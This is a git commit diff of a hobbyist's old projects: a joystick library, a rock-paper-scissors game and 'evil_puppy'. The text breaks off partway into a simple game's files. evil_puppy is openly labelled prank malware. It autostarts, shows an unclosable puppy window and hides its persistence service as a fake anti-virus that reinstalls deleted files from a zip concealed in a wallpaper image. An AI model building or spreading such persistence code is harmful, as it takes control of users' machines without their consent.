aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--README.md2
-rw-r--r--evil_puppy/Makefile50
-rw-r--r--evil_puppy/README.md6
-rw-r--r--evil_puppy/dog.pngbin0 -> 263389 bytes
-rw-r--r--evil_puppy/fluffy_dog.pngbin0 -> 76871 bytes
-rw-r--r--evil_puppy/fluffy_puppy.cpp195
-rw-r--r--evil_puppy/fluffy_puppy.desktop8
-rw-r--r--evil_puppy/milky_way.jpgbin0 -> 6240028 bytes
-rw-r--r--evil_puppy/run_evil_puppy.cpp34
-rw-r--r--evil_puppy/virus_be_gone.cpp62
-rw-r--r--evil_puppy/virus_be_gone.service8
-rw-r--r--jsi/Makefile4
-rw-r--r--jsi/README.md2
-rw-r--r--jsi/src/Makefile22
-rw-r--r--jsi/src/jsi.c83
-rw-r--r--jsi/src/jsi.h74
-rw-r--r--jsi/src/jsi_win.c44
-rw-r--r--jsi/src/test.c45
-rw-r--r--rps_game/Makefile8
-rw-r--r--rps_game/README.md2
-rw-r--r--rps_game/src/Makefile24
-rw-r--r--rps_game/src/main.cpp59
-rw-r--r--rps_game/src/rps.cpp99
-rw-r--r--rps_game/src/rps.h47
-rw-r--r--rps_game/src/rps_logger.cpp37
-rw-r--r--rps_game/src/rps_logger.h39
-rw-r--r--simple_game/Makefile13
-rw-r--r--simple_game/README.md2
-rw-r--r--simple_game/images/rock.pngbin0 -> 78415 bytes
-rw-r--r--simple_game/images/ship.pngbin0 -> 90262 bytes
-rw-r--r--simple_game/simple_game.cpp353
-rw-r--r--swall/Makefile24
-rw-r--r--swall/README.md2
-rw-r--r--swall/scomm.315
-rw-r--r--swall/scomm.c55
-rw-r--r--swall/swall.39
-rw-r--r--swall/swall.c57
37 files changed, 1484 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..9214733
--- /dev/null
+++ b/README.md
@@ -0,0 +1,2 @@
+# Forgorton Projects
+I am not always good about backing stuff up to github. Recently I was digging on some free cloud storage account I made a while back and found these projects on it.
diff --git a/evil_puppy/Makefile b/evil_puppy/Makefile
new file mode 100644
index 0000000..7ac7d0b
--- /dev/null
+++ b/evil_puppy/Makefile
@@ -0,0 +1,50 @@
+flcon = fltk-config
+compiler = $(shell $(flcon) --cxx)
+flags = $(shell $(flcon) --use-images --cxxflags)
+ldflags = $(shell $(flcon) --use-images --ldstaticflags)
+
+target = -o fluffy_puppy fluffy_puppy.cpp
+
+all: fluffy_puppy run_evil_puppy virus_be_gone
+fluffy_puppy: fluffy_puppy.cpp
+ @echo compiling fluff_puppy
+ @$(compiler) $(flags) $(target) $(ldflags)
+run_evil_puppy: run_evil_puppy.cpp
+ @echo compiling run_evil_puppy
+ @$(compiler) -o run_evil_puppy run_evil_puppy.cpp
+virus_be_gone: virus_be_gone.cpp
+ @echo compiling virus_be_gone
+ @$(compiler) -o virus_be_gone virus_be_gone.cpp
+fluffy_puppy_debug:
+ $(compiler) $(flags) -g $(target) $(ldflags)
+ gdb fluffy_puppy
+run_evil_puppy_debug:
+ $(compiler) -o run_evil_puppy run_evil_puppy.cpp -g
+ gdb run_evil_puppy
+virus_be_gone_debug:
+ $(computer) -o virus_be_gone virus_be_gone.cpp -g
+ gdb virus_be_gone
+install:
+ cp fluffy_puppy.desktop ~/.config/autostart/
+ sudo cp fluffy_puppy /usr/local/bin/
+ sudo cp run_evil_puppy /usr/local/bin/
+ sudo mkdir /usr/local/share/evil_virus
+ sudo cp dog.png /usr/local/share/evil_virus/
+ sudo cp milky_way.jpg /usr/share/backgrounds/
+ sudo cp virus_be_gone /usr/local/bin/
+ sudo cp virus_be_gone.service /etc/systemd/system/
+ sudo systemctl daemon-reload
+ sudo systemctl enable virus_be_gone.service
+ sudo systemctl start virus_be_gone.service
+ @echo reboot computer to actived
+uninstall:
+ sudo systemctl stop virus_be_gone.service
+ sudo systemctl disable virus_be_gone.service
+ sudo rm /etc/systemd/system/virus_be_gone.service
+ sudo systemctl daemon-reload
+ sudo rm ~/.config/autostart/fluffy_puppy.desktop
+ sudo rm /usr/local/bin/fluffy_puppy
+ sudo rm /usr/local/bin/run_evil_puppy
+ sudo rm -rf /usr/local/share/evil_virus
+clean:
+ rm fluffy_puppy run_evil_puppy virus_be_gone
diff --git a/evil_puppy/README.md b/evil_puppy/README.md
new file mode 100644
index 0000000..63c2041
--- /dev/null
+++ b/evil_puppy/README.md
@@ -0,0 +1,6 @@
+# evil_puppy
+Out of all of forgortton projects this one is by far the coolest.
+
+It runs as a background app and every so often it has a full screen unquitable puppy you must pet for a while before it closes.
+
+It has a fake anti-virus background service called "virus be gone" that will recover any deleted program files from hidden files in a jpg of the milky way.
diff --git a/evil_puppy/dog.png b/evil_puppy/dog.png
new file mode 100644
index 0000000..8217d68
--- /dev/null
+++ b/evil_puppy/dog.png
Binary files differ
diff --git a/evil_puppy/fluffy_dog.png b/evil_puppy/fluffy_dog.png
new file mode 100644
index 0000000..49271d5
--- /dev/null
+++ b/evil_puppy/fluffy_dog.png
Binary files differ
diff --git a/evil_puppy/fluffy_puppy.cpp b/evil_puppy/fluffy_puppy.cpp
new file mode 100644
index 0000000..821df27
--- /dev/null
+++ b/evil_puppy/fluffy_puppy.cpp
@@ -0,0 +1,195 @@
+/*
+ * The most evil virus of all time.
+ * Please mod this virus and make it as bad as possable.
+*/
+
+// Fltk header.
+#include "FL/Fl.H"
+#include "FL/Fl_Double_Window.H"
+#include "FL/Fl_PNG_Image.H"
+#include <FL/Fl_Box.H>
+#include <FL/Fl_Output.H>
+#include <FL/Enumerations.H>
+
+// C/C++ libary.
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+#include <random>
+
+using namespace std;
+
+// Make sure the path ends in '/' or '\' on windows.
+#define main_dir "./"
+#define image_name "dog.png"
+//#define make_fullscreen
+
+// Random range.
+#define range_min 3
+#define range_max 15
+
+// Global Varibles.
+int rub_time;
+Fl_Double_Window * win;
+Fl_Box * the_dogs_msg;
+Fl_Box * longer_box;
+Fl_Output * output_box;
+
+int funny_strings_size = 3;
+const char funny_strings[][25] = {
+ "You know you want to. ",
+ "The puppy is waiting. ",
+ "You don't have a choice."
+};
+
+int random_range(int x, int y) {
+ random_device rd;
+ mt19937 gen(rd());
+ uniform_int_distribution<> distr(x, y);
+
+ return distr(gen);
+}
+
+const char * random_msg() {
+ return funny_strings[random_range(0, funny_strings_size - 1)];
+}
+
+class DogBox : public Fl_Box {
+ public:
+ DogBox(int X, int Y, int W, int H, const char * l=0) :
+ Fl_Box(X, Y, W, H, l) {
+ started = 0;
+ failes = 0;
+ }
+
+ int handle(int event);
+ private:
+ time_t started;
+ int failes;
+};
+
+int DogBox::handle(int event) {
+ switch(event) {
+ case FL_PUSH:
+ return 1;
+ case FL_RELEASE:
+ if (time(NULL) - started >= rub_time && started)
+ win->hide();
+
+ started = 0;
+
+ if (failes == 2) {
+ const char msg_format[] = "At least %d seconds for this dog.";
+ char the_msg[strlen(msg_format) + 3];
+
+ sprintf(the_msg, msg_format, rub_time);
+ output_box->value(the_msg);
+ failes = 3;
+ return 1;
+ } else if (failes >= 3)
+ return 1;
+
+ // Make sure the value changes.
+ char old_value[255], new_value[255];
+ memset(old_value, 0, sizeof(old_value));
+ strcat(old_value, output_box->value());
+
+ while (true) {
+ memset(new_value, 0, sizeof(new_value));
+ strcat(new_value, random_msg());
+
+ if (strcmp(old_value, new_value))
+ break;
+ }
+
+ output_box->value((const char*)new_value);
+ longer_box->show();
+ failes++;
+ return 1;
+ case FL_DRAG:
+ if (!started)
+ started = time(NULL);
+
+ return 1;
+ default:
+ return 0;
+ }
+}
+
+void window_callback(Fl_Widget * w, void * d) {
+ output_box->value("You can't close me!");
+}
+
+int main(int argv, char ** args) {
+ rub_time = random_range(range_min, range_max);
+
+ // Getting screen size.
+ int screen_width, screen_height, x, y;
+ Fl::screen_xywh(x, y, screen_width, screen_height);
+
+ // Opening dog image file.
+ char image_path[255];
+ sprintf(image_path, "%s%s", main_dir, image_name);
+ Fl_PNG_Image * dog_image = new Fl_PNG_Image((const char*)image_path);
+
+ if (dog_image->fail()) {
+ fprintf(stderr, "Couldn't load '%s'.\n", image_path);
+ return 1;
+ }
+
+ // Currenting image and widgets.
+ int dWidth, dHeight;
+ int cur_x, cur_y;
+ dWidth = dog_image->w();
+ dHeight = dog_image->h();
+ cur_x = (screen_width / 2) - dWidth;
+ cur_y = (screen_height / 2) - dHeight;
+
+#ifndef make_fullscreen
+ screen_width = dWidth * 2;
+ screen_height = dHeight * 2;
+ cur_x = 0;
+ cur_y = 0;
+#endif
+
+ // Opening window.
+ win = new Fl_Double_Window(screen_width, screen_height, "Rub my belly");
+
+ // Dog box.
+ Fl_Box * dog_box = new DogBox(dWidth / 2 + cur_x,
+ dHeight / 2 + cur_y, dWidth, dHeight);
+ dog_box->image(dog_image);
+
+ // Text.
+ const char the_msg[] = "Rub my belly!";
+ int text_size = dWidth / strlen(the_msg) * 1.5;
+
+ the_dogs_msg = new Fl_Box(dog_box->x(), text_size + cur_y,
+ dWidth, text_size + 10, the_msg);
+ the_dogs_msg->box(FL_ROUNDED_BOX);
+ the_dogs_msg->labeltype(FL_SHADOW_LABEL);
+ the_dogs_msg->labelsize(text_size);
+
+ text_size /= 2;
+ output_box = new Fl_Output(dog_box->x(),
+ the_dogs_msg->h() + the_dogs_msg->y() + 10,
+ dWidth, text_size + 10);
+ output_box->labelsize(text_size);
+ output_box->value(random_msg());
+
+ // Longer box.
+ text_size *= 2;
+ longer_box = new Fl_Box(5 + cur_x, 5 + cur_y, 5 * text_size, text_size + 10, "Longer!");
+ longer_box->labelsize(text_size);
+ longer_box->hide();
+
+ win->end();
+ win->callback(window_callback);
+
+#ifdef make_fullscreen
+ win->fullscreen();
+#endif
+
+ win->show(argv, args);
+ return Fl::run();
+}
diff --git a/evil_puppy/fluffy_puppy.desktop b/evil_puppy/fluffy_puppy.desktop
new file mode 100644
index 0000000..8f3a98a
--- /dev/null
+++ b/evil_puppy/fluffy_puppy.desktop
@@ -0,0 +1,8 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Exec=/usr/local/bin/run_evil_puppy
+Name=run_evil_puppy
+Categories=Virus;
diff --git a/evil_puppy/milky_way.jpg b/evil_puppy/milky_way.jpg
new file mode 100644
index 0000000..8155497
--- /dev/null
+++ b/evil_puppy/milky_way.jpg
Binary files differ
diff --git a/evil_puppy/run_evil_puppy.cpp b/evil_puppy/run_evil_puppy.cpp
new file mode 100644
index 0000000..1ab28ae
--- /dev/null
+++ b/evil_puppy/run_evil_puppy.cpp
@@ -0,0 +1,34 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+#include <random>
+
+#ifdef _WIN32
+ #include <Windows.h>
+#else
+ #include <unistd.h>
+#endif
+
+#define least_time 60
+#define max_time 600
+
+using namespace std;
+
+int random_range(int x, int y) {
+ random_device rd;
+ mt19937 gen(rd());
+ uniform_int_distribution<> distr(x, y);
+
+ return distr(gen);
+}
+
+int main() {
+
+ while (true) {
+ time_t when_it_happens = random_range(least_time, max_time);
+ sleep(when_it_happens);
+ system("/usr/local/bin/fluffy_puppy");
+ }
+
+ return 0;
+}
diff --git a/evil_puppy/virus_be_gone.cpp b/evil_puppy/virus_be_gone.cpp
new file mode 100644
index 0000000..2c5f0df
--- /dev/null
+++ b/evil_puppy/virus_be_gone.cpp
@@ -0,0 +1,62 @@
+// Reinstall missing files (Unix version).
+// Evil mods only.
+
+// C/C++ libary.
+#include <cstdio>
+#include <cstdlib>
+#include <cerrno>
+
+// Unix libary.
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+// Make sure the path ends in '/' or '\' on windows.
+//#define backup_dir "/usr/share/backgrounds/"
+#define backup_dir "/usr/share/backgrounds/"
+#define backup_data "milky_way.jpg"
+
+char install_script[] =
+"cd %s; "
+"sudo unzip %s; "
+"cd my_virus; "
+"make -i install; "
+"cd ..; "
+"sudo rm -rf my_virus";
+
+bool file_ext(const char * file_path) {
+ struct stat file_stats;
+
+ if (stat(file_path, &file_stats) == 0)
+ return true;
+ return false;
+}
+
+int main() {
+ char script_buf[sizeof(install_script) * 4];
+
+ sprintf(script_buf, install_script,
+ backup_dir,
+ backup_data);
+ system(script_buf);
+
+ char fluff_puppy_path[255];
+ sprintf(fluff_puppy_path, "/home/%s/.config/autostart/fluffy_puppy.desktop", getlogin());
+
+ while (true) {
+ if (!file_ext(fluff_puppy_path))
+ system(script_buf);
+ else if (!file_ext("/usr/local/bin/fluffy_puppy"))
+ system(script_buf);
+ else if (!file_ext("/usr/local/bin/run_evil_puppy"))
+ system(script_buf);
+ else if (!file_ext("/usr/local/share/evil_virus"))
+ system(script_buf);
+ else if (!file_ext("/usr/local/share/evil_virus/dog.png"))
+ system(script_buf);
+
+ sleep(1);
+ }
+
+ return 0;
+}
diff --git a/evil_puppy/virus_be_gone.service b/evil_puppy/virus_be_gone.service
new file mode 100644
index 0000000..58de7c4
--- /dev/null
+++ b/evil_puppy/virus_be_gone.service
@@ -0,0 +1,8 @@
+[Unit]
+Description=Program that kills bugs!
+
+[Service]
+ExecStart=/usr/local/bin/virus_be_gone
+
+[Install]
+WantedBy=multi-user.target
diff --git a/jsi/Makefile b/jsi/Makefile
new file mode 100644
index 0000000..6a2adaf
--- /dev/null
+++ b/jsi/Makefile
@@ -0,0 +1,4 @@
+all:
+ @make -C src
+%:
+ @make -C src $@
diff --git a/jsi/README.md b/jsi/README.md
new file mode 100644
index 0000000..b174a19
--- /dev/null
+++ b/jsi/README.md
@@ -0,0 +1,2 @@
+# jsi
+There is a lack of crossplatform joystick librarys in plain c so I decided to write my own but I never finished.
diff --git a/jsi/src/Makefile b/jsi/src/Makefile
new file mode 100644
index 0000000..34b60e7
--- /dev/null
+++ b/jsi/src/Makefile
@@ -0,0 +1,22 @@
+COMPILER = gcc
+TARGET = ../lib/libjsi.a
+OBJS = jsi.o
+
+%.o: %.c
+ @echo compiling $<
+ @$(COMPILER) -c -o $@ $<
+
+$(TARGET): $(OBJS)
+ @echo making static libary
+ @ar rcs $(TARGET) $(OBJS)
+test: test.c jsi.*
+ @echo making test
+ @$(COMPILER) -o $@ $< $(TARGET) -g
+
+# Objects.
+jsi.o: jsi.c jsi.h
+
+clean:
+ rm *.o
+ rm test
+ rm $(TARGET)
diff --git a/jsi/src/jsi.c b/jsi/src/jsi.c
new file mode 100644
index 0000000..1a9f44d
--- /dev/null
+++ b/jsi/src/jsi.c
@@ -0,0 +1,83 @@
+/*
+ * jsi (Joystick interface) c libray
+*/
+
+#include "jsi.h"
+
+int jsi_get_joystick(int joy_num, jsi_joystick * joystick_data) {
+ int fd;
+ char dev_path[NAME_MAX];
+
+ // Format path.
+ snprintf(dev_path, sizeof(dev_path), "/dev/input/js%d", joy_num);
+
+ fd = open(dev_path, O_RDONLY);
+
+ if (fd == -1)
+ return -1;
+
+ joystick_data->fd = fd;
+ joystick_data->num = joy_num;
+ joystick_data->joystick_count_init = jsi_joy_count();
+
+ // Get axes.
+ char num_of_axes;
+
+ if (ioctl(fd, JSIOCGAXES, &num_of_axes) == -1)
+ return -1;
+
+ joystick_data->layout.axes = (int)num_of_axes;
+
+ // Get buttons.
+ char num_of_buttons;
+
+ if (ioctl(fd, JSIOCGBUTTONS, &num_of_buttons) == -1)
+ return -1;
+
+ joystick_data->layout.buttons = (int)num_of_buttons;
+
+ // Get name.
+ char joy_name[JSI_NAME_MAX];
+
+ if (ioctl(fd, JSIOCGNAME(JSI_NAME_MAX), joy_name) == -1)
+ return -1;
+
+ strncat(joystick_data->layout.name, joy_name, JSI_NAME_MAX);
+
+ return 0;
+}
+
+void jsi_close_joystick(jsi_joystick joystick_data) {
+ close(joystick_data.fd);
+}
+
+int jsi_joy_count() {
+ int joy_count = 0;
+ char dev_path[NAME_MAX];
+ struct stat dev_stat;
+
+ while (1) {
+ // Format path.
+ snprintf(dev_path, sizeof(dev_path), "/dev/input/js%d", joy_count);
+
+ if (stat(dev_path, &dev_stat) == -1)
+ return joy_count;
+
+ joy_count++;
+ }
+
+ return joy_count;
+}
+
+int jsi_get_event(jsi_joystick joystick_data, struct jsi_event * event_data) {
+ struct js_event jse;
+
+ if (read(joystick_data.fd, &jse, sizeof(jse)) == -1)
+ return -1;
+
+ event_data->value = (int)jse.value;
+ event_data->type = (int)jse.type;
+ event_data->num = (int)jse.number;
+
+ return 0;
+}
diff --git a/jsi/src/jsi.h b/jsi/src/jsi.h
new file mode 100644
index 0000000..718b4dc
--- /dev/null
+++ b/jsi/src/jsi.h
@@ -0,0 +1,74 @@
+/*
+ * jsi (Joystick interface) c libray
+*/
+
+#ifdef _WIN32
+
+#include <Windows.h>
+
+#else
+
+// Linux header.
+#include <linux/types.h>
+#include <linux/input.h>
+#include <linux/joystick.h>
+
+// Unix headers.
+#include <fcntl.h>
+#include <unistd.h>
+
+#endif
+
+// OS headers.
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+// C.
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <limits.h>
+
+#ifndef JSI_H
+#define JSI_H
+
+#define JSI_VERSION "Still in making"
+
+#define JSI_TRUE 1
+#define JSI_FALSE 0
+#define JSI_NAME_MAX 128
+
+#define JSI_UP 0x0
+#define JSI_DOWN 0x1
+
+#define JSI_TYPE_BUTTON 0x1
+#define JSI_TYPE_AXIS 0x2
+#define JSI_TYPE_INIT 0x80
+
+struct jsi_joy_layout {
+ int axes;
+ int buttons;
+ char name[JSI_NAME_MAX];
+};
+
+typedef struct {
+ int fd;
+ int num;
+ int joystick_count_init;
+ struct jsi_joy_layout layout;
+} jsi_joystick;
+
+struct jsi_event {
+ int value;
+ int type;
+ int num;
+};
+
+int jsi_get_joystick(int joy_num, jsi_joystick * joystick_data);
+void jsi_close_joystick(jsi_joystick joystick_data);
+int jsi_joy_count();
+int jsi_get_event(jsi_joystick joystick_data, struct jsi_event * event_data);
+
+#endif // JSI_H
diff --git a/jsi/src/jsi_win.c b/jsi/src/jsi_win.c
new file mode 100644
index 0000000..17d91b5
--- /dev/null
+++ b/jsi/src/jsi_win.c
@@ -0,0 +1,44 @@
+/*
+ * jsi (Joystick interface) c libray
+*/
+
+#include "jsi.h"
+
+int jsi_get_joystick(int joy_num, jsi_joystick * joystick_data) {
+ DWORD dw_result;
+
+ switch (joy_num) {
+ case 1:
+ dw_result = joySetCapture(GetDesktopWindow(), JOYSTICKID1, 0, FALSE);
+ break;
+ case 2:
+ dw_result = joySetCapture(GetDesktopWindow(), JOYSTICKID2, 0, FALSE);
+ break;
+ default:
+ return -1;
+ }
+
+ // Check for errors.
+ switch (dw_result) {
+ case JOYERR_UNPLUGGED:
+ return -1;
+ case MMSYSERR_NODRIVER:
+ return -1;
+ case JOYERR_NOCANDO:
+ return -1;
+ default:
+ break;
+ }
+
+ return 0;
+}
+
+void jsi_close_joystick(jsi_joystick joystick_data) {}
+
+int jsi_joy_count() {
+ return (int)joyGetNumDevs();
+}
+
+int jsi_get_event(jsi_joystick joystick_data, struct jsi_event * event_data) {
+ return -1;
+}
diff --git a/jsi/src/test.c b/jsi/src/test.c
new file mode 100644
index 0000000..fa34b01
--- /dev/null
+++ b/jsi/src/test.c
@@ -0,0 +1,45 @@
+/*
+ * jsi (Joystick interface) c libray
+*/
+
+#include "jsi.h"
+#include <stdio.h>
+#include <signal.h>
+
+jsi_joystick a_joystick;
+
+void handle_sig(int sig) {
+ jsi_close_joystick(a_joystick);
+ putchar('\n');
+ exit(0);
+}
+
+int main() {
+ signal(SIGINT, handle_sig);
+
+ puts("test");
+ printf("joystick count: %d\n", jsi_joy_count());
+
+ if (jsi_get_joystick(0, &a_joystick) == -1) {
+ perror("Couldn't get joystick");
+ return -1;
+ }
+
+ printf("axes: %d, buttons: %d, name: %s\n", a_joystick.layout.axes,
+ a_joystick.layout.buttons, a_joystick.layout.name);
+
+ struct jsi_event a_event;
+
+ while (JSI_TRUE) {
+
+ if (jsi_get_event(a_joystick, &a_event) == -1) {
+ perror("Error getting input");
+ return -1;
+ }
+
+ printf("value: %hx, type: %hx, num: %hx\n", a_event.value, a_event.type, a_event.num);
+ }
+
+ jsi_close_joystick(a_joystick);
+ return 0;
+}
diff --git a/rps_game/Makefile b/rps_game/Makefile
new file mode 100644
index 0000000..7083609
--- /dev/null
+++ b/rps_game/Makefile
@@ -0,0 +1,8 @@
+all:
+ @make -C src
+debug:
+ @make -C src debug
+clean:
+ @make -C src clean
+%:
+ @make -C src $@
diff --git a/rps_game/README.md b/rps_game/README.md
new file mode 100644
index 0000000..19df8f4
--- /dev/null
+++ b/rps_game/README.md
@@ -0,0 +1,2 @@
+# rps_game
+I started writting a rock paper scissors game with ai but quickly got bored.
diff --git a/rps_game/src/Makefile b/rps_game/src/Makefile
new file mode 100644
index 0000000..b6bf864
--- /dev/null
+++ b/rps_game/src/Makefile
@@ -0,0 +1,24 @@
+COMPILER = g++
+LDFLAGS = -static-libstdc++ -static-libgcc
+
+OBJS = main.o rps.o rps_logger.o
+TARGET = ../rps_game
+
+%.o: %.cpp
+ @echo compiling $<
+ @$(COMPILER) $(CFLAGS) -c -o $@ $<
+$(TARGET): $(OBJS)
+ @echo making exe
+ @$(COMPILER) -o $(TARGET) $(OBJS) $(LDFLAGS)
+debug:
+ $(COMPILER) -c *.cpp -g
+ $(COMPILER) -o $(TARGET) $(OBJS) $(LDFLAGS) -g
+
+# Objects
+main.o: *.cpp *.h
+rps.o: rps.cpp rps.h
+rps_logger.o: rps_logger.cpp rps_logger.h rps.cpp rps.h
+
+clean:
+ rm *.o
+ rm $(TARGET)
diff --git a/rps_game/src/main.cpp b/rps_game/src/main.cpp
new file mode 100644
index 0000000..b7e2dfc
--- /dev/null
+++ b/rps_game/src/main.cpp
@@ -0,0 +1,59 @@
+#include <cstdio>
+#include <cstdlib>
+#include <cstring>
+#include <climits>
+
+#include "rps.h"
+#include "rps_logger.h"
+
+RPS::OBJECT char_to_obj(char input_char) {
+ switch (input_char) {
+ case 'r':
+ return RPS::ROCK;
+ case 'p':
+ return RPS::PAPER;
+ case 's':
+ return RPS::SCISSORS;
+ default:
+ return RPS::NONE;
+ }
+}
+
+int main() {
+ char buf[NAME_MAX];
+
+ char input_buf[NAME_MAX];
+ char input_char;
+
+ RPS::RPSLogger * game_logger = new RPS::RPSLogger();
+ RPS::RPSLog game_log;
+ RPS::OBJECT out_come;
+
+ while (!feof(stdin)) {
+ // Player one.
+ printf("Enter p1 value rps: ");
+ memset(input_buf, 0, NAME_MAX);
+ fgets(input_buf, NAME_MAX, stdin);
+ input_char = input_buf[0];
+
+ game_log.p1_choice = char_to_obj(input_char);
+
+ // Player two.
+ printf("Enter p2 value rps: ");
+ memset(input_buf, 0, NAME_MAX);
+ fgets(input_buf, NAME_MAX, stdin);
+ input_char = input_buf[0];
+
+ game_log.p2_choice = char_to_obj(input_char);
+
+ // Get out come.
+ out_come = RPS::who_won(game_log);
+ RPS::obj_to_string(out_come, buf, NAME_MAX);
+
+ game_logger->add_log(game_log);
+
+ printf("Out come: %s, p1 wins: %d, p2 wins: %d, duals: %d\n", buf, game_logger->get_p1_wins(), game_logger->get_p2_wins(), game_logger->get_duals());
+ }
+
+ return 0;
+}
diff --git a/rps_game/src/rps.cpp b/rps_game/src/rps.cpp
new file mode 100644
index 0000000..7fb9c19
--- /dev/null
+++ b/rps_game/src/rps.cpp
@@ -0,0 +1,99 @@
+#include "rps.h"
+
+namespace RPS {
+ OBJECT what_it_beats(OBJECT obj) {
+ switch (obj) {
+ case ROCK:
+ return ROCK_BEATS;
+ case PAPER:
+ return PAPER_BEATS;
+ case SCISSORS:
+ return SCISSORS_BEATS;
+ default:
+ return NONE;
+ }
+ }
+
+ OBJECT what_beats_it(OBJECT obj) {
+ switch (obj) {
+ case ROCK:
+ return BEATS_ROCK;
+ case PAPER:
+ return BEATS_PAPER;
+ case SCISSORS:
+ return BEATS_SCISSORS;
+ default:
+ return NONE;
+ }
+ }
+
+ OBJECT who_won(OBJECT a, OBJECT b) {
+ // Check for weird stuff.
+ if (!is_game_object(a) || !is_game_object(b))
+ return NONE;
+ if (a == b)
+ return DUAL;
+
+ return (what_it_beats(a) == b) ? a : b;
+ }
+
+ OBJECT who_won(RPSLog log) {
+ return who_won(log.p1_choice, log.p2_choice);
+ }
+
+ bool is_game_object(OBJECT obj) {
+ return obj == ROCK || obj == PAPER || obj == SCISSORS;
+ }
+
+ int obj_to_string(OBJECT obj, char * buf, size_t n) {
+ int res;
+
+ // Check for stuff.
+ if (n <= 0 || buf == NULL)
+ return -1;
+
+ memset(buf, 0, n);
+
+ switch (obj) {
+ case ROCK:
+ strncat(buf, "rock", n);
+ break;
+ case PAPER:
+ strncat(buf, "paper", n);
+ break;
+ case SCISSORS:
+ strncat(buf, "scissors", n);
+ break;
+ case DUAL:
+ strncat(buf, "dual", n);
+ break;
+ default:
+ strncat(buf, "none", n);
+ break;
+ }
+
+ return 0;
+ }
+
+ int update_rps_stat(RPSStats * stats, OBJECT new_obj) {
+ // Check stuff.
+ if (stats == NULL)
+ return -1;
+
+ switch (new_obj) {
+ case ROCK:
+ stats->rock_count++;
+ break;
+ case PAPER:
+ stats->paper_count++;
+ break;
+ case SCISSORS:
+ stats->scissors_count++;
+ break;
+ default:
+ return -1;
+ }
+
+ return 0;
+ }
+}
diff --git a/rps_game/src/rps.h b/rps_game/src/rps.h
new file mode 100644
index 0000000..422df51
--- /dev/null
+++ b/rps_game/src/rps.h
@@ -0,0 +1,47 @@
+#pragma once
+
+#include <cstdio>
+#include <cstdlib>
+#include <cstring>
+#include <climits>
+
+#include <sys/types.h>
+
+namespace RPS {
+ enum GAME_OBJECTS {
+ NONE = -1,
+ ROCK,
+ PAPER,
+ SCISSORS,
+ DUAL
+ };
+
+ typedef int8_t OBJECT;
+
+ struct RPSLog {
+ OBJECT p1_choice;
+ OBJECT p2_choice;
+ };
+
+ struct RPSStats {
+ int rock_count;
+ int paper_count;
+ int scissors_count;
+ };
+
+ constexpr OBJECT ROCK_BEATS = SCISSORS;
+ constexpr OBJECT PAPER_BEATS = ROCK;
+ constexpr OBJECT SCISSORS_BEATS = PAPER;
+
+ constexpr OBJECT BEATS_ROCK = PAPER;
+ constexpr OBJECT BEATS_PAPER = SCISSORS;
+ constexpr OBJECT BEATS_SCISSORS = ROCK;
+
+ OBJECT what_it_beats(OBJECT obj);
+ OBJECT what_beats_it(OBJECT obj);
+ OBJECT who_won(OBJECT a, OBJECT b);
+ OBJECT who_won(RPSLog log);
+ bool is_game_object(OBJECT obj);
+ int obj_to_string(OBJECT obj, char * buf, size_t buf_size);
+ int update_rps_stat(RPSStats * stats, OBJECT new_obj); // Update the stats structure.
+}
diff --git a/rps_game/src/rps_logger.cpp b/rps_game/src/rps_logger.cpp
new file mode 100644
index 0000000..638f11e
--- /dev/null
+++ b/rps_game/src/rps_logger.cpp
@@ -0,0 +1,37 @@
+#include "rps_logger.h"
+
+namespace RPS {
+
+ RPSLogger::RPSLogger() {
+ clear();
+ }
+
+ void RPSLogger::clear() {
+ logs.clear();
+
+ p1_stats = {0, 0, 0};
+ p2_stats = {0, 0, 0};
+
+ p1_wins = 0;
+ p2_wins = 0;
+ duals = 0;
+ }
+
+ void RPSLogger::add_log(RPS::RPSLog log) {
+ logs.push_back(log);
+ update_rps_stat(&p1_stats, log.p1_choice);
+ update_rps_stat(&p2_stats, log.p2_choice);
+
+ RPS::OBJECT out_come = RPS::who_won(log);
+
+ // Add to win count. I saddly can't use a switch here ):
+ if (out_come == RPS::NONE)
+ return;
+ if (out_come == RPS::DUAL)
+ duals++;
+ if (out_come == log.p1_choice)
+ p1_wins++;
+ if (out_come == log.p2_choice)
+ p2_wins++;
+ }
+}
diff --git a/rps_game/src/rps_logger.h b/rps_game/src/rps_logger.h
new file mode 100644
index 0000000..0fa3929
--- /dev/null
+++ b/rps_game/src/rps_logger.h
@@ -0,0 +1,39 @@
+#pragma once
+
+#include <cstdio>
+#include <cstdlib>
+#include <cstring>
+#include <vector>
+
+#include "rps.h"
+
+namespace RPS {
+
+ class RPSLogger {
+ public:
+ RPSLogger();
+
+ void clear(); // Clear everything.
+ size_t size() { return logs.size(); }
+ void add_log(RPS::RPSLog log);
+
+ RPS::RPSStats get_p1_stats() { return p1_stats; }
+ void set_p1_stats(RPS::RPSStats new_stats) { p1_stats = new_stats; }
+
+ RPS::RPSStats get_p2_stats() { return p2_stats; }
+ void set_p2_stats(RPS::RPSStats new_stats) { p2_stats = new_stats; }
+
+ int get_p1_wins() { return p1_wins; }
+ int get_p2_wins() { return p2_wins; }
+ int get_duals() { return duals; }
+ private:
+ std::vector<RPS::RPSLog> logs;
+
+ RPS::RPSStats p1_stats;
+ RPS::RPSStats p2_stats;
+
+ int p1_wins;
+ int p2_wins;
+ int duals;
+ };
+}
diff --git a/simple_game/Makefile b/simple_game/Makefile
new file mode 100644
index 0000000..d37d48f
--- /dev/null
+++ b/simple_game/Makefile
@@ -0,0 +1,13 @@
+FLCON = fltk-config
+COMPILER = $(shell $(FLCON) --cxx)
+CFLAGS = $(shell $(FLCON) --use-images --cxxflags)
+LDFLAGS = $(shell $(FLCON) --use-images --ldstaticflags) -static-libstdc++ -static-libgcc
+
+TARGET = simple_game
+
+$(TARGET): $(TARGET).cpp
+ $(COMPILER) $(CFLAGS) -o $(TARGET) $(TARGET).cpp $(LDFLAGS)
+debug:
+ $(COMPILER) $(CFLAGS) -o $(TARGET) $(TARGET).cpp $(LDFLAGS) -g
+clean:
+ rm $(TARGET)
diff --git a/simple_game/README.md b/simple_game/README.md
new file mode 100644
